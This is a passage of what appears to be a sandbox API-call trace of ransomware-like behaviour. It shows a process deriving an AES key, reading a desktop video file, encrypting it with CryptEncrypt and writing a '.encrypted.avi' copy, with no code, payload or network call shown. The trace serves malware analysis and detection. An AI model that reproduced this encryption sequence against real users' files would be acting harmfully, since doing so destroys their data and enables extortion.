(in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.624] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0023.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.626] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\xe_1j.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.626] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.626] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.627] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.627] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\xe_1j.encrypted.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.629] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.629] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7993, lpOverlapped=0x0) returned 1 [0023.629] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.631] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.631] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.631] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.631] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.632] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.632] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.632] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.632] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.632] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.632] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.633] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.633] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.633] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.633] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.633] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.634] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.634] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.634] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x7993, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x79a0) returned 1 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.634] CharLowerBuffW (in: lpsz="byte[31137]", cchLength=0xb | out: lpsz="byte[31137]") returned 0xb [0023.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.635] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.635] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cfd10*, pdwDataLen=0xe8f3dfdf68*=0x7993, dwBufLen=0x79a0 | out: pbData=0xe8f41cfd10*, pdwDataLen=0xe8f3dfdf68*=0x79a0) returned 1 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.635] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.635] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.635] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.638] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.638] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.638] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.638] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.638] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.639] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.639] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.639] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.639] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.639] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.639] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.639] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.639] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.640] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.640] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.640] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.640] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.640] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.640] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.640] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.640] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, 